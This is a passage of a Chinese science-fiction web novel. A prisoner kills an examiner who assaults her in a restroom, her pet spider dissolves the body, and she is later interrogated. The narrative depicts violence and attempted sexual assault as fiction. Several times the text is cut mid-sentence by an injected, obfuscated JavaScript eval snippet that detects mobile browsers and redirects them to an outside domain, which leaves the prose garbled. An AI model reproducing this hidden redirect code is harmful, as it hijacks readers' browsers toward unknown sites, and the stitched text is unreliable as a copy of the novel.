直到这时候路麦才发现自己和一〇八其实差不多高。 在她看来,一〇八已经是身材修长的类型了。只是她总是忘了自己一下子长高了十几公分这件事。 “那个……我们这是要到哪里去?”走到候考区靠墙一侧的通道时,路麦忍不住问了一句。这前面没有路,有的只是一间公厕,两人总不至于要在厕所里开展教学? “大厅里有摄像头。”一〇八没有直接给出答案,却给出了一个解释。很显然,他们的目的地真的就是厕所。 路麦的脚步一下就停住了。她不是很想深究一〇八到底是好人还是坏人,只要对她无害就行,但在卫生间这种可疑的地方进行独处,她可一点都不想配合。 “算了。”她说。 “什么算了?”一〇八问。 “我觉得我可以合格的,就不需要什么秘籍了。” 哪怕练习和实战有差别,应该也差不了40分那么多。 然而。 “不,你不可以。”一〇八说。 路麦愣住。 骤然涌上的满脑子疑问还没解开,左肩便被狠狠抓住,向后扳去。 身体只是因为吃痛而晃动了一下,就被毫不客气地拖进了只有几步之遥的女厕。 路麦被丢到地上,这一下比一〇二的下手还要狠辣。后背和后脑勺与瓷砖墙壁发生撞击。 她晕乎乎地想要起身,与此同时衣领被人一把揪住。 她被提了起来,胸口被用力按住,双脚没有着力点,就像被固定在标本盒里的蝴蝶一样。 薄荷香味侵入了她的大脑。 一〇八将脸凑到她的颈窝,耳语般说道:“A1可不是那么容易合格的考试,有人在失败了二十几次之后终于选择了放弃。” 二十几次是什么概念,那个可怜蛋至少为了这本资格证白白浪费了一万多劳动积分,并且白白增加了一万年刑期。 还有不计其数的三千年罚期。 如果不是看不到合格的希望,没有人能够随便割舍那些沉没成本。 “你以为EH2N是怎么拿到A1的?” “当然离不开我的帮助。” 30. 液体 按在身上的手慢慢移动起来。 比起被胁迫,路麦体会到的更加强烈的是胸腔被压住后那近乎窒息的感觉。 “只要我不同意,你永远都没法合格。” 路麦庆幸自己去找过鉴定师小姐,不然她可能就会信了这家伙的鬼话。 虽然一〇八话里话外都在暗示鉴定师使用了不正当的手段、或者说被胁迫进行“贿赂”,才得以拿到在缺乏练习的条件下极难考出的A1驾照,但路麦知道他在撒谎。 那只是一种施加精神压力、迫使她在恐慌中束手投降的狡猾话术。 以及对鉴定师小姐的顺带抹黑。 考试用机装载了灵敏的智能检测系统,可以识别考生的操作是否合格,就路麦自己的短暂体验来说,其检测效果相当精准。 检测效果会自动反馈给监考系统,得出考试成绩,根本没有监考员插手的空间。 不过,如果他们有权限修改后台结果的话,那就得另当别论了。 能参加仿生人鉴定资格的考试,A1驾照不过是诸多前置条件中的一项,就算她能够使用非常规手段通过其中一门,还有那么多考试,绝对不是一句贿赂就能概括的,更何况那些考试里,比A1难度更高的也不在少数。 退一万步,鉴定师小姐真的屈服于一〇八的淫威、答应了那种条件,也绝对不是因为她能力不足,而是因为她无法与一〇八的强权抗衡。 退两万步,鉴定师小姐又有什么必要对自己撒谎?她在来到N21之前就获得驾照了,这合情合理。 路麦没有放弃挣扎,她庆幸自己力气不小,虽然花了一番功夫,好歹是将那只手给扳开了。但这并不意味着她能逃出生天。因为紧随其后的就是一记毫不容情的耳光。 她倒在地上,肩膀被地板硌得生疼。 比起疼,更先感受到的其实是嗡的一声巨响。 客观世界并没有生成那种声音,是大脑在剧烈震荡下产生的错觉。眼中的景象也因此不安定地晃动起来。 事情怎么就变成这样了? 事情怎么又变成这样了? 她怎么老遇上这种事? 博览会上的色情狂,废弃园区的失控半机械人,还有面前这个衣冠禽兽。 反击吗?毫无疑问。 她怎么能够容忍这具栖息着自己的意识、冠有自己姓名的容器被随意践踏呢?当然不能! 攻击管理员会导致怎样的后果,这种事情还是等境况安全了再去考虑吧! 就在做好觉悟的瞬间,后颈的发根传来熟悉的感觉,那名小小的护卫者已经先她一步准备出手。 “不要动!”她赶紧喝道。 这话是对路西法说的,但某人却产生了误会。 一〇八愣了一下,但那种表情很快就被不屑和讥讽代替了,他向前抬腿,打算冲可怜的服刑犯的心窝狠狠踹上一脚。如果被他得逞,受害者的动作一定会出现很长的空档。 然而路麦灵活地躲过了他的攻击,并借着他错愕的一瞬,从右侧十五度角的方向对他的腹部发起了强力的进攻。 她虽然靠营养液维生,但她的拳头却不是吃素的。 她甚至怀疑那一拳能够隔着肚皮将男人的内脏打碎。而男人受击后的表现也让她印证了这一点——至少肯定不是轻伤,因为男人喷了一口鲜血出来。 “见鬼!”这种时候,他已经放弃了之前伪装出来的那种风度,破口大骂道。 路麦只犹豫了一秒,但在这一秒之中她考虑了很多。 然后她就做出了决定,在男人调整好态势之前,又对他的腹部来了一发重击,并在他摇晃着身体想要抓住她双肩的时候,一个勾拳打在了他的太阳穴上。 她使出了几乎能打碎一个人头颅的力量。 就像她当初打碎那个半机械人的脑壳一样。 男人的身体沉重地倒向冰冷的瓷砖地面。 路麦在那一秒之内做出的决定是——杀了他。 然后毁尸灭迹。 这是能够保全她的身体和她的未来的唯一途径——只是同时具有巨大的风险。 即一旦她狱中杀人的罪行被发现,她将真正永劫不复。 比背负一百万年的刑期更加永劫不复。 现在,她冷静下来了。应该说她以为自己冷静下来了。 她必须思考在刚才的那一秒之内没来得及得出结论的问题: 如何将这个身高在一米八上下,体重至少八十公斤的男人的遗体处理干净。 要做到不着痕迹。 要做到让管理处无论怎么调查,都只能得出失踪的结论。 绝对不能留下任何会指向她的线索。 直到这个时候,被肾上腺激素等生理物质遮断的理智缓缓供述了一个事实: 那简直是异想天开,是完全不可能的事。 她要在离开考场之前把这事处理完。 可她手头没有任何道具。 别说能将人化成一滩血水的高级化学药剂了,连能够分解肢体的利器都没有。 她同时也庆幸自己手头没有那样的东西。 但是,在一〇八的身上搜索一番之后,她发现了一把手术刀。 冷汗顿时布满后背。 这东西没法帮她处理尸体,却让她猛然间意识到一个事实。 一〇八接近她,目的是她的身体——不是为了侵犯,而是想要从她身上取走某个部分。 牙齿?手指?眼球?还是别的什么……内脏? 结合她苏醒后经历的一切,哪怕她不具备更深层的知识,也从不怀疑这是一具高价值的身体,但一〇八是怎么知道的? 他能看到“她”过去的信息?还是说某种科学疯子的直觉? 是那套VR设备?!他利用伪装成虚拟现实的设备窃取她的身体信息? 无论原因如何,当务之急是处理尸体,余下的以后再想。 路麦一连做了好几个深呼吸,然后一鼓作气将尸体拖到女卫最靠里的隔间,开始将其中一条腿塞进下水道。 她知道这样不可行。但慌乱中还是抱有侥幸地尝试了一番。 失败之后,她又将尸体拔了出来,暂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15674814|171141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时扔在地上,自己去洗脸台前冲了一把脸。 距离预约的时间还有二十分钟。 她注视着镜子中的那张脸,发现对那张脸的陌生感依旧挥之不去。 “这又不是我的身体……” 她忽然觉得很沮丧。她占有了这具身体,甚至还为“它”杀了人,但她其实并不了解“它”真正的价值是什么,所谓的占有也只是自欺欺人。而在拥有獠牙和利齿之前,她不得不以猎物的姿态活着。 这时候,她从镜子里看到停在自己肩头的路西法,于是用手指轻轻碰了碰它的身体。 “谢谢你……” 精神慰藉。 她想起胖子对她说过的宠物的作用。现在路西法确实成了一种慰藉,让她在此时此刻感到不那么孤单。 她开始以更加冷静的态度来思考解决之道。 她应该装作若无其事地去参加接下来的考试,并在失败后立刻进行第二次报名,预约明天的考试。到时候,她可以夹带一些工具进来,让她能够切割尸体。 参加A1考试的人很少,也许好几天都没有一个,考场也没有多少工作人员,目前为止她只见过一〇二和一〇八,所以不用太担心女厕的人流量。 问题在于,一〇二在发现同僚失踪之后会不会尝试寻找。如果他发现了这具尸体,一定会想到今天唯一的考生就是犯人。 还有一个问题。 就算那个粗暴考官没想过探究同僚的下落,但能够处理尸体的利器并不是那么容易找到的。 根据《危险品保管条例》,服刑犯不能私自贮藏如刀、斧、锯之类的危险性工具,哪怕是杀伤性极其有限的美工刀。 她现在体会到处理尸体确实比杀人更难。 难道她只能等着落网,然后接受更加严重的惩罚吗? 这时候,路西法突然从她的肩膀跳了下来,跳到手腕上,继而跳到镜面下方的墙壁上,接着,又沿着墙壁,飞檐走壁地抵达了藏有尸体的隔间。 只见蜘蛛沿着尸体那条未被塞进下水道的干净的腿,一路爬到他的脸部,停在他左眼的眼皮上。 尽管没有看得特别清楚,但路麦觉得它似乎蛰了他一下。 大约过了三秒,被蛰过的眼皮底下有什么东西动了动,像是尸体死而复生。 噗。 伴随着一种类似脓包爆裂的声音,一股墨绿的液体从那失去生机的眼皮底下涌了出来。 那样子看起来就像死者的整颗眼球在短短几秒钟的时间内被溶成了那种粘稠的液体,然后从眼眶中掉落下来。 那液体不停地流淌,很快就超过了一颗眼球应有的体积。 路麦眼睁睁地看着这具成年男性的尸体就像被放了气的气球人一样渐渐瘪了下去,原本填充在表皮下的内容物全都变成了诡异的液体,从眼眶中流出,顺着剩余的皮囊,淌进下水道里。 骨头、内脏、脑髓、肌肉……除了皮肤以外的一切都变成了液体。 最后,那层薄薄的表皮也泛出绿色,然后变成能够流动的东西,像被烧出了洞的布片一样渐渐破裂。 31. 除外 躺在隔间地板上的只剩下一些残留的液体,以及一套只有单条裤腿被弄脏了的衣物。 不知是表面张力还是其他什么的原因,“尸水”神奇地没有残留在那些布料上。 路麦甚至可以用制服衬衣将地上残余的液体——也许应该叫胶状体——裹起来冲进下水道。 最让人犯难的尸体处理就这样轻而易举地完成了。 简直像做梦一样。 没有人能够再找到这个代号一〇八的监考官的任何身体成分,只有这套很难被当成证据的衣服。 路麦松了一口气。然后突然间意识到什么似的,吞了一口唾沫。 她以为路西法是无毒的! 可事实就明晃晃地摆在眼前——这岂止是一只毒蜘蛛,还是一只剧毒的,毒到超越人类化学科技水平的蜘蛛! 至少她不知道有什么试剂能如此快速、干净、彻底地让一具新鲜的成年人尸体从世界上消失。 可是专业的鉴别师恐怕也很难从下水道的那滩绿色液体中找出能鉴定其前身的物质。 既然它可以轻易地让一具尸体消失,同理可得,只要它愿意,它也可以让她消失得无影无踪! 这样一只可以毁天灭地的蜘蛛,整天不是藏在她的头发里,就是趴在她的肩膀或脖颈上,它甚至咬过她的手背! ——但她并没有因此变成绿色胶体。 这实在是件值得庆幸的事。 她是它的饲主。它是她的宠物。 它有着随时杀死她的能力,可它从未动手,甚至若不是因为她走投无路,它至今没有显露过这种能力。 她只是在名义上掌控着它。 而它则真正执掌生杀大权。 蜘蛛或许不知道饲主如今地想法,它若无其事地爬回她的身上,停留在她的腕带上,伸长了自己的前肢,像是在进行击掌的邀约。 路麦这次没有应邀。 路西法有些不解,它吐出一根无法结网的蛛丝,缠住饲主的手腕。 那触觉很轻很轻,几乎无法被人感受到。 不知为何,路麦觉得那仿佛是一声很轻很轻的道歉。 她叹了一口气,用指尖碰了碰跳蛛的前置,跳蛛攀上她的手指,轻快地跃上她的肩膀。 她将一〇八的制服放在洗脸池里冲洗了一遍,然后出门左转,投篮一般将其扔进隔壁男卫的大门。 最后是那把手术刀。她没有把手术刀留在一〇八的遗物之中。哪怕一〇八是一名在N21拥有特权的管理员,随身携带一把手术刀还是会让他显得十分可疑。而他显得越可疑,与此事有所关联的路麦就会越麻烦。 路麦将手术刀放进嘴里——她早就有这么做的冲动了。 本该分泌唾液的地方分泌出另一种带有酸味的液体,在与这种液体进行接触之后,冰冷的金属变得脆弱无比,只要用牙齿轻轻一咬就能将它咬碎,口感和味道像是夹了一层柠檬夹心加一层巧克力夹心的威化饼干。 她在N21一共摄取过三种食物:营养液,半个苹果,一把手术刀。手术刀是其中最好吃的。 这个世界不正常,这具身体则是不正常中的不正常。这种程度的异食癖不值得大惊小怪,无论怎么看,还是杀人这种事情更异常。 路麦重整旗鼓,前往考场。 这时候,已经超过预约时间三分钟了。 路麦尽量让自己忘掉刚才发生的事,转而考虑如何应对一〇二的大发雷霆,但等她见到一〇二的时候,却发现他好像松了一口气。 “一〇二没有找你麻烦吧?” 在上机的时候,板着一张脸的一〇二突然问了一句。 “没有。”路麦保持面无表情的状态答道。 “那就好。”一〇二嘀咕道。 路麦一言不发。 于是一〇二暴力地关上了驾驶舱的门,然后冲着门板踢了一脚,“赶紧的!” 重考的结果比第一次还糟。以她现在的状态,根本没法安定地完成起步前的那套流程——那是最需要沉着冷静的部分。 不出意外地,路麦在下机时被一〇二骂了个狗血淋头。 但由于今天已经经历过更加恐怖的事件,大脑开启了自动屏蔽多余伤害的功能,言语攻击对她几乎不起任何效果。更何况一〇二没有给她增加额外的刑期。 “嗨!”回到OA7片区的时候,不知从哪里过来的正义之士同她打了声招呼。 路麦瓮声瓮气地应了一嘴。 正义之士顺便就和她同道走了起来:“你心情不好?” 路麦找了个借口:“嗯,考试挂了。” 回到宿舍,她依然克制着自己不流露出多余的情绪,因为摄像头或许会捕捉到异样的画面。 她没有任何一天像现在这样渴望早睡。她非常想念那片柔软的沙滩、温暖的海水、明亮的阳光,还有能够缓解肌肤饥渴症的阳光美男。 但想到突然改变的作息也有可能成为把柄,只好生生地忍住钻进被窝的冲动。 打开心理学的教材,希望枯燥的学术文字能够麻痹敏感的神经。 蜘蛛在饲育箱里静静地呆着,没有像往常那样来回行走、上下蹦跳,发出砰砰咚咚的声音。 一只蜘蛛在沉默的时候会思考什么呢? 它在复习近日发生的种种,以免一不小心将它们忘记。节肢动物的脑容量注定它的记忆内存不大,它必须时不时地对记忆进行梳理,去除掉重复度高和重要度低的部分,抽象出其中关键的节点,再放回到脑海中的时间线上。 几天前,它蛰了自己的饲主。在EH2N即将把某个称号诵诸于口的时候。 显而易见,如果饲主从EH2N口中听到那个称号,就能串联起一些事情,知道自己占用的身体在过去绝对是个人物——那个让仿生人闻风丧胆的怪物,铁血无情的杀星,象征支配与恐怖的魔王。 有太多词汇可以称颂他的功绩,有太多字眼可以形容他的强大。 可它不想让饲主知道这件事。 它是一只蜘蛛,没法阻止EH2N的发言。 不过好在它的毒液之中有能够快速让人产生神经麻痹的种类,它就是借用了那种毒素,剥夺了饲主听到那个单词的机会。 它说不清自己为什么要这么做,为什么不想让她知道真相。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15687039|171141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 在栖身于这具八条腿的躯壳之后,它的思维能力显著下降,考虑问题的速率也大幅减缓——说实话,以蜘蛛的体量,它现在还能进行思考,本来就是奇迹中的奇迹。 是的。 所有想不明白的问题,它都可以推脱给这具脆弱的、微不足道的肉身,以及那颗大概根本不存在的大脑。 但它的潜意识没准一直明白。 比起一个从未有过自由,一直被当做实验体对待的存在,曾经高居云端、后来才坠入那种如泥潭般境地的存在更让人感到好奇和怜悯。 而无法忍受那种出于猎奇的好奇和产自高傲的怜悯。 它下意识地不愿让这个占据了自己身体的家伙对此中的经历展开探究。 那对它来说将会是有如凌迟一般的酷刑。 她有什么资格? 她凭什么? 一个蠢货,自以为是的无能的蠢蛋。 它怎能被这种人怜悯? 它受不了她看向自己时那种亲切的、关心的,甚至满含爱意的眼神。 那种看向自己玩物的眼神。 它更喜欢初次相遇时她眼中流露出来的发自内心的恐惧。 如果不是对夺回身体这件事还抱有零星的希望,它早就放任她自生自灭了。 可为什么,当它又一次从她脸上看到对自己的恐惧时,它会感到一阵茫然无措。 它只是不想她惹上麻烦——这完全是为了它自己——所以才用它能使用的最便利的手段,帮她处理掉了那具尸体。 她应该对此表示感激。 而非恐惧。 等等,它不就是想看到她满脸恐惧的模样吗? 它到底在矛盾什么? 蜘蛛在静止许久后,突然烦躁地用前肢刮蹭着自己的脑袋,那颗贫瘠的蜘蛛脑袋。 见鬼,都是因为变成了一只蜘蛛!它都没法好好思考了! 不过它没有放弃。 它还没有忘记自己用凌乱的笔迹镌刻下的誓言。 要报复。 向唐古拉斯。 向伤害自己的人! 它现在是一只蜘蛛,一只可以被轻而易举踩死的蜘蛛。 为了达成目的,它必须借助他人的力量。 而眼下占据着它身体的,正是一个可靠的人选。 一个比曾经的它更加孑然一身的,不与这个世界任何一方势力挂钩的人。 它必须保护好她。 保护好她,也就是保护好自己。 * 门禁时间,所有服刑者都必须乖乖待在宿舍。 卫琅轻手轻脚地开了房门,在沉寂的夜色之中行动起来。 同一个时区内的管理员和服刑者保持相同的作息安排,若无特殊情况,门禁之后就不再有管理员值班——在这里上班的人拿的都是死工资,没人会想不通在结束规定的执勤后免费加班。 但是两种人除外。 一种是带着特殊任务潜伏在这里的坏分子,他们会钻这种习惯的漏,在夜色掩护下干那些见不得人的事。 还有一种就是被赶鸭子上架的狱长大人了。 32. 问讯 管理员的本质不过是打工人,当然没必要对自己的职业抱有太高的荣誉感,但狱长不一样。 如果N21真的被外部势力侵蚀的话,让她引咎辞职是最好的结果了,但大概率会是首当其冲,在这场吞并战争中沦为最吃力不讨好的牺牲品。 哎……命苦啊。卫琅在心里长叹一声,轻车熟路地来到了O大区的驾驶执照考点。 控制室里有摄像头记录下来的影像资料,要了解这里发生的事,去观看那些东西是最快捷的方法。 最高权限的终端可以打开这颗星球上任何一扇感应门,可以绕过所有固定资产的密码和口令,她轻而易举地就看到了数小时前的监控画面。 她正在密切监控的那名犯人,跟在一名担任监考官的管理员身后,进入了候考区的公共卫生间。 大约一刻钟后,犯人再次进入摄像头的监控范围,但那名管理员没有和她一起出来。 看来在公共卫生间里发生了什么。 卫琅没有半秒犹豫,将控制室的一切恢复如初后,当机立断前往候考区,并在候考区的男厕所里看到了像垃圾袋一样被遗弃在那里的管理员的制服。 只有制服,但是没有穿着制服的人。 监控中确实没有管理员离开公共卫生间的画面,更没有一名未穿着衣物的可疑人士离开这里的画面。那么,这些衣服的主人去了哪里? 唯一可以不通过大门离开卫生间的办法只有下水道。 既然管理员没有从大门离开,也没有躲藏在卫生间中,那只能说明他从卫生间的下水道离开了。 从逻辑角度出发,自然而然会产生这样的推论。但这种推论有违常识,最基本的就是无论哪条下水道的口径都不可能允许一名体型正常的成年男性通过。除非他被切割成了符合该直径的块状。 卫琅把男女厕所的每一个单间都检查了一遍,没有发现任何凶杀痕迹。 这也是料想之中的情况。她没有忘记犯人只在卫生间待了一刻钟,没有人能在一刻钟的时间里完成杀人灭口-毁尸灭迹-清理现场这一串完整的动作。 这难道是超能力?未被解明的魔法?超前的空间科技? 那个从实验室来的家伙,果然不简单啊…… 她又把被扔在地上的制服检查了一遍。从胸前的号牌可以辨认是编号一〇八的管理员,制服口袋的背面缝着一个暗袋,里面装着一瓶没有标签的药物。另外……在她抖动上衣的时候,有什么东西从袖管里掉了出来。 一〇八的腕带式智能终端。 一层冷汗不知不觉附在了卫琅的额头上。 普通管理员在未获得高级管理权限许可的情况下无法自主摘除终端,这东西为什么会出现在这里? 一〇八这家伙,是肉身消失了还是怎么的? 卫琅用自己的终端触碰了一下一〇八的终端。 狱长的终端理论上可以调取N21所有智能终端的信息。 但是一〇八的终端居然没有半点反应。这是私自改造过? 看来不光是OA7W,这个一〇八也有问题。 * 自第一次迈入驾考的考点起,已经过去了四天,这是第五天。 如果在今天结束之前没有完成A1的路考,本次报名便将作废,理论考成绩也将取消,再要挑战该执照,就得重新交“报名费”、从头走流程。 路麦没舍不得,干脆就放弃了最后一次机会。她到底还是没能硬着头皮装成没事人似的再往考点跑。 下班回家的路上又路过那片工业园区,一〇二正抱着一堆资料大步流星地从里面走出来。 路麦假装没看见,脑袋一转朝另一个方向走,结果还是被一〇二逮到。 “OA7W。”他吼了一句。 路麦无奈回头:“考官好,请问有什么事?” 一〇二问:“今天考试吗?”路麦说:“不考。”一〇二从那摞资料后面探出脑袋:“不考吗?那这次报名就要作废了。”路麦说:“那就作废吧。” 一〇二有些逼视地看了她一眼:“没志气的东西。” 路麦随便他怎么说。看他手上捧着那么多东西,总没有工夫再来教训她,也就只能逞逞口舌之快了。 “我之后还会再来考的。”她说。 一〇二哦了一声,说:“那更应该抓住机会练习。” 路麦说:“今天累了,实在是心有余而力不足。” 一〇二顿了一下,沉着嗓子问道:“你和我说实话,是不是一〇八对你做了什么?” 路麦听到自己的心脏突突地跳动着,但脸上还要强装镇定:“真的……没什么。不过考官为什么这么问,他有前科吗?” 一〇二说:“前科?我不是特别清楚,但他绝对不是什么作风正派的人物。我怀疑,你第一次考试那天的故障,很有可能是他在从中作梗。” 一〇二的直率实在让人吃惊。这种职场黑幕是可以随便和外人爆料的吗? 但路麦还是一副什么都不知道的样子:“为什么这么说?” 一〇二说:“我检查过那台机器的系统,感觉好像被人动过手脚。能够有机会做这种事的人,也就只有那家伙了。我手上这堆资料,就是MR-0-2的原始系统文件,我要和现在机器上的系统对照一下。” 路麦说:“所以你最后没把第二个罚期加给我?” 一〇二点头:“毕竟算是我们这边的工作失误。” 那你人还怪好的。路麦在心里说。“那个损坏的操作杆呢?有没有可能是人为劣化过,所以才会一碰就掉?” 一〇二目不斜视:“那件事我暂时没有证据。从逻辑上考虑,那家伙既然在操作系统上开了后门,就已经能达到阻止考生通过考试的目的了,没必要再多此一举。所以还得算在你头上。” 路麦怏怏地应了一声,并在下一个路口和一〇二分道扬镳。 一〇二似乎还没发现同僚的失踪。可以想见他们两个的关系真的很糟。 回到宿舍,不管不顾地一头栽倒在床上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15692592|171141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。昨天晚上睡得不好,也没做那个梦,白天工作的时候还好,等到了这种独处的时候,比起不安,心里更多的其实是疲惫。 她不是缺乏体能的人。但是好累。 几秒后,房门解锁的声音响了起来。 路麦惊讶地转过头,映入眼帘的是一前一后从门框走进屋子的两个身穿黑色西装、脸戴黑色墨镜的男人。打扮和伍拾、陆拾一样,就连身材也很相似,不过是两个她之前没见过的男人。 “你们要干——”路麦只来得及说这几个字,就被两个男人一左一右地抓住了肩膀。 他们的动作很明确,能让人看清每一个细节,但快得不可思议,几乎不给人留出反应的时间。 其中一个人仅凭单手操作,就用一条长度适宜的胶带封住了路麦的嘴。 另一人紧随其后,将一个黑色不透光的袋子套在了路麦的头上。 身体瞬间不受控制地变得僵硬。她想起了那个自己被活活解剖的梦境,也想起了被强行带走后再也没有回来的胖子。 关门的声音从身后传来。能感知到自己已经被带到了外面,但不知道下一步将要去到哪里。 无论如何,眼下的情形非常不妙。 从西装男人的出现时间来看,他们在她回宿舍前就在这里守株待兔了。 是因为杀害一〇八的事情暴露了吗? 她会被怎样?像梦中那样被活生生地切开吗? 两个男人走得很快,哪怕路麦的身体算得上腿长手长,但在视觉被剥夺的情况下,到了后面几乎是被拖着进行近地飞行。 走了不知多久,从周围的动静判断,应该被带到了一个封闭的环境,接着,被摁在一张冰冷坚硬的椅子上。 黑色袋子被摘掉了,刺眼的光线让路麦一阵恍惚。 光线中映出一个成人的模糊轮廓,他在路麦对面坐了下来,并报出了她的代号:“OA7W。” 路麦茫然地看着他。 带她来这里的男人用一根棍子狠狠敲击她的肩膀:“回话!” 路麦这才吃痛地抖擞了一下精神:“我是。” “一个字!” “……是。” “不要拖泥带水!” “是!” 该死的服从性测试。 不过路麦没有不合时宜地让她的倔脾气发作。这是生存策略。 浸在光线中的人打了一个手势,他的手下这才收了声,而且立刻安静得几乎扼杀了自己的存在感。 那人问:“你昨天参加了机甲驾驶资格A1的考试,是吗?” 那声音相当难听。无法形容的难听。非要说的话,像是把声带切断再让它愈合再切断……这样重复十几次之后才能发出的声音。 路麦深吸一口气说:“是的。” 该来的总会来的。虽然一〇二似乎还没有发现端倪,但不至于整个管理局都没发现他们有一名员工失踪了——或许他们内部存在着某种考勤打卡制度——而路麦显然和这件事脱不了干系。 33. 窃听 那人又问:“你在考点见到过几名考官?”路麦说:“两名。”那人问:“你还记得他们分别长什么样子,负责什么职能吗?” 路麦说:“一个是大个子,号牌是一〇二,考试过程中一直是他在监考。另一个身材修长,样貌秀气,号牌是一〇八,但我不知道他主要负责什么。” 那人问:“你和考官一〇八有过私下交谈吗?”路麦说:“交谈过。”那人问:“你们说了什么?” 路麦说:“他说A1考试的制度不合理,这种考试需要大量练习,但服刑者们没有这种条件。他说可以传授我一些诀窍,帮我通过考试。” 那人说:“然后?”路麦说:“然后他把我带到办公室,借VR设备给我练习,这是我第一次参加路考当天的事。” “然后?” “中间休息了一天,第三天,我又去了他那里练习。第四天,也就是昨天,我第二次尝试路考——” “我们在考点的男厕所发现了一〇八的衣物,看起来就是昨天被丢在那里的。你对这个情况有什么头绪吗?” “我提前去了考点,在那里碰上了一〇八考官。他说还有最后一些秘诀要告诉我,于是把我带到了公厕。结果,他想侵犯我,我在反抗的时候把他给打晕了。” 路麦真假参半地作答。确切地说,只有最后一句是假话。她不是把他打晕了,而是把他打死了。 那人又道:“管理员一〇八已经失踪超过二十四个小时。据调查,你是最后一个见过他的人。对此,你有什么想说的吗?” 路麦提高声音:“你不会想说,一〇八的失踪与我有关?” 那人说:“不要这么紧张,我们只是在了解情况。” 路麦说:“情况就是我说的那样。” 男人又打了一个手势。他的手下走上前来,将什么东西放到他面前的桌上。 那是一台手掌大小的机器,手下对上面的几个按键操作了一番,那机器开始发出带有噪点的声音。 他调整了一下进度,然后,清晰的声音就从扬声器中流淌了出来。 路麦觉得有什么东西突然在脑子里爆炸了。 是录音! 他们居然有录音! 难道考场的卫生间有监控? 他们知道她做了什么? 他们也知道一〇八的下场? “A1可不是那么容易合格的考试,有人在失败了二十几次之后终于选择了放弃。” “你以为EH2N是怎么拿到A1的?” “当然离不开我的帮助。” “我有权让指定的考生通过考试,也有权让我不满意的人永远无法合格。” 一〇八的耳语。连词语间的轻微吐息也能听得一清二楚。 收音效果太好了。这不可能是监控能达到的效果。收录声音的设备离说话者的距离一定很近。 一阵打斗的声音。扇耳光的那一记声响极具穿透力。 “不要动!” 又是一阵打斗的声音。颇有动作电影音效的感觉。 “见鬼!” 碰撞声。 路麦知道这是她给那个男人最后一击时的动静。 她紧靠椅背坐着,一动都不敢动,大脑飞快地回忆她接下去有没有说过什么不该说的话,一边庆幸没有隐瞒打人的事。 录音中传来一些难以辨别出处的声音。 “这又不是我的身体……” 接着是一声轻轻的呢喃:“谢谢你……” 又是难以辨别的音效,能隐约听到一点水声。 走路的声音。 那名手下在这里掐断了音频。 从录音中,只能听出路麦确实打了一〇八,但无法确定她是否杀人。 那人问:“你把他打晕之后,到你离开卫生间的这段时间里,你都做了些什么?” 路麦镇定下来,想了想,答道:“我上了一趟厕所,比较不花时间的那种。接着洗了一把脸,又上了趟厕所,比较花时间的那种。离开之前,我看见那个男人倒在地上,觉得不够解气,于是把他的衣服剥了下来,扔到了隔壁的男厕。” 手下咳嗽了几声。 主审官的脸上看不出情绪。 其实路麦至今仍然没有看清他的脸。他们可能对这个房间里的光影效果进行过精心排布。 那人问:“你把一〇八的通讯终端拿走了?” 路麦呃了一声。她完全没在意这事。N21配发的腕带式终端经过特殊设置,一旦戴上就难以摘下,强行去处反而会引发自爆程序。 但一〇八的尸体都化成胶水,如果有什么腕带之类的东西也肯定已经自动脱落了,搞不好是正巧掉进了袖筒或是裤管里,没被路麦发现。 那人又问:“你想到什么了?” 路麦说:“没有。我没有看到他的终端。那东西我又取不下来。” 这么说是合乎设定的。虽然是假话,但路麦也不担心这些人怀疑,毕竟他们无论如何也不可能从她身上把那东西搜出来。 那人沉默片刻,说:“好的,大致情况我们已经了解了。你今天先回去吧,我会让人送你。” 路麦盯着那团光影看了一会儿,说:“希望你们能早点找到失踪者,好还我一个清白。” 在手下准备给犯人戴上头罩的时候,主审官突然提了一个让人难以回答的问题:“对了,你和唐古拉斯是什么关系?” 路麦愣了一下,随即在心中权衡各种答案可能带来的后果,最后她说:“我在被送来这里之前,一直被囚禁在唐古拉斯的实验室。” * 目送手下押送被套上头套的犯人离开审讯室后,主审官拿起了下属送过来的资料。 “口供和录音没有明显的矛盾。但她的话里一定有谎言。一个从实验室送来的犯人。” 他意味深长地看着档案上的照片。 “生命研究协会最近对实验体的处置问题盯得很紧,随意丢弃失去利用价值的实验体是违法行为,哪怕是唐古拉斯,也不希望被生协那群疯子缠上。”此时开口的是从进门起就一直保持安静的另一名手下。 主审官说:“这就是他把N21当成垃圾处理厂的理由?” 手下听出上司的语气中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 